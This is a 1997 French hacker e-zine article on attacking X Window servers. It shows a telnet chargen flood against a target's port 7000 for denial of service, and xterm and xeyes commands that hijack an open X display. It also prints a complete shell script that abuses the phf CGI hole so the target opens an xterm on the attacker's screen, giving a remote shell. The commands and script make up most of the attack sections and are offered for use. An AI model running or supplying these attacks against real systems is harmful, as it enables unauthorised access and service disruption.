Copy Link
Add to Bookmark
Report
N0RoUTE Issue 3-03 Hacking with X Windows
Hacking with X Window
---------------------
par Bypass
1) INTRODUCTION
^^^^^^^^^^^^^^^
X Window est l'interface graphique la plus populaire d'UNiX. On la
retrouve dans les universites comme dans les centres de recherches du
Pentagone. Un peu comme Win95, il gere vos windows, programmes, et
processes. Mais il existe une distinction majeure: X utilise un protocol
(xutmp). Ainsi, X Window peut etre considere comme un serveur, et ses
logiciels comme des clients. Mais il faut bien se comprendre: le service
fournit n'est pas un acces au disque de l'hote, mais plutot a son ecran.
C'est pour cela que quand l'on parle de "serveur X Window" on parle de
votre serveur d'affichage (eg. XF86_SVGA). C'est cette caracteristique que
nous tenterons d'exploiter.
2) NOTION DE XHOST
^^^^^^^^^^^^^^^^^^
Qu'est-ce que xhost ? Si vous connaissez le NFS, vous pouvez
comparer xhost a une export list. Xhost est un programme simple qui a
comme fonction de determiner qui a acces et qui ne l'a pas a un server X.
On l'utilise selon le parametres suivants:
- xhost
Donne une liste des hostnames ayant acces au serveur X
- xhost +[hostname]
Ajoute un hostname a la liste d'acces
- xhost -[hostname]
Devinez !
- xhost +/-
Active ou desactive la liste d'acces
Il est imperatif de toujours garder cette liste a jour, et surtout
de s'assurer que votre liste n'est pas "+" (disable control access).
3) FLOOD XUTMP
^^^^^^^^^^^^^^
Qui dit "protocol" dit aussi "port". Malheureusement pour les
utilisateurs d'X, ce port (7000) est ouvert par default des le demarrage
du serveur. Ainsi, en ouvrant plusieurs sessions telnet sur le port xutmp
de votre cible en le floodant de donnees, vous pourrez effectuer une
attaque "Denial of Service", en causant au serveur un lag extreme. Voici
un exemple d'attaque:
SQC:/# telnet localhost 19 | telnet www.target.com 7000
4) X DISPLAY HIJACKING
^^^^^^^^^^^^^^^^^^^^^^
Essayer de prendre control sur un serveur X necessite d'abord que
vous soyez sur la liste de hotes de votre cible. Si vous avez acces a un
compte shell sur votre cible, executez-y la commande "xhost":
Target:~/$ xhost
access control disabled, clients can connect from any host
INET: localhost
LOCAL:
Target:~/$
On voit ici que tout client, peut importe son hostname, peut se connecter
sur le serveur X. En resumer, C'EST PARFAIT ! Maintenant, vous pouvez
envoyer, par exemple, un xterm executant un telnet sur le port 19 du host
local... Voici un exemple:
SQC:/# xterm -display www.target.com:0 -e telnet localhost 19
Ou meme un "xeyes flood" !
SQC:/# xeyes -display www.target.com:0 (repetition)
5) XTERM HIJACKING
^^^^^^^^^^^^^^^^^^
Ok. J'crois qu'il est temps de passer aux choses serieuses: gagner
le R00T sur le serveur cible. Hey oui ! X Window peut vous donner ce que
vous desirez. Pour mettre sur pied notre attaque, on se base sur une
equation chimique hyper-evoluee, decouverte par Boltzman en 1802 (il etait
ne a ce moment la ?), qui a revolutionne le monde entier (sure...)
Phf Cgi-bin + X Window = COKTAIL MOLOTOV !!!!!!
C'est koi le principe de tout ca hein ? Simple ! Vous avez une
machine cible qui possede un X Window et Phf ? Plutot que de depenser
votre temps a downloader un /etc/passwd shadowed, essayez donc de faire
une requete de XTerm dont le display sera VOTRE serveur ! Voici
d'ailleurs un petit shell script qui vous permettra d'hijacker des xterms
sans vous caser la tete...
------------------->8------------------->8------------------->8----------------
#!/bin/sh
#
# Created by K-L0G in 1997
# Copyright (c), Source Quench Communications, 1996-1997
#
# Xterm hijacker via phf ...
#
# La cible necessite (pour ceux qui comprennent pas encore):
# - un PHF accessible
# - un Xterm
#
# PS: vous devez executer ce script a partir de X Window
#
echo ""
echo "XTerm Hijacker, created by K-L0G in 1997"
echo "Copyright(c), Source Quench Communications, 1996-1997"
echo "NB: This script must be executed from X Window"
echo ""
if [ $# -ne 1 ]; then
echo Usage: $0 [target]
echo ""
exit 127
fi
echo -n "Scanning for local IP ..."
localip=`ifconfig ppp0 | grep inet | sed 's/:/ /g' | awk {'print $3'}`
targetip=$1
echo "done"
echo "Local IP set as $localip"
xhost + > /tmp/hijack.tmp
echo Sending PHF request to $targetip
lynx `echo -n $targetip`/cgi-bin/phf?Qname=%A0/usr/X11/bin/xterm%20-display%20`echo $localip`:0 > /tmp/hijack.tmp
xhost - > /tmp/hijack.tmp
echo "You should receive a XTerm in few seconds ..."
rm /tmp/hijack.tmp
echo ""
exit
------------------->8------------------->8------------------->8----------------
Une fois que vous avez le term a votre ecran, vous aurez acces a
votre cible selon votre UID et GID de HTTPD (oubliez pas qu'on est passer
par PHF !). Vous pouvez aussi essayer de detourner d'autres logiciels X,
mais ca ne vous donnera jamais rien de plus qu'on bon vieux xterm...
6) REFERENCES
^^^^^^^^^^^^^
Pour avoir plus d'information sur la securite sous X Window, voici
quelques endroits ou vous informer...
- man xhost
- man xterm
- http://ciac.llnl.gov/ciac/documents/ciac2316.html
- http://ftp.cert.org <--- evidemment ;)
- Votre UNiX guru le plus proche
- Votre libraire d'informatique (demandez lui surtout pas comment
hijacker X Window la !)
7) CONCLUSION
^^^^^^^^^^^^^
Comme d'habitude, si vous avez des questions, commentaires, ou
offres d'emplois ;) mailez moi a SQC@hotmail.com. N'oubliez pas, en
passant, qu'on a un URGENT BESOIN DE TEXTES !!! Merci, comme d'habitude,
aux autres membres du groupe, a PhE, F-Kaos (groupes Francais), a mon
chien (meme si j'en ai pas), chaque brain de gazon dans mon jardin, Canel
pis Pruno qui font des films porno (vous vous rappellez ?), anyway, tout
le monde (y compris vous, chers lecteurs).
Bypass
[EOF]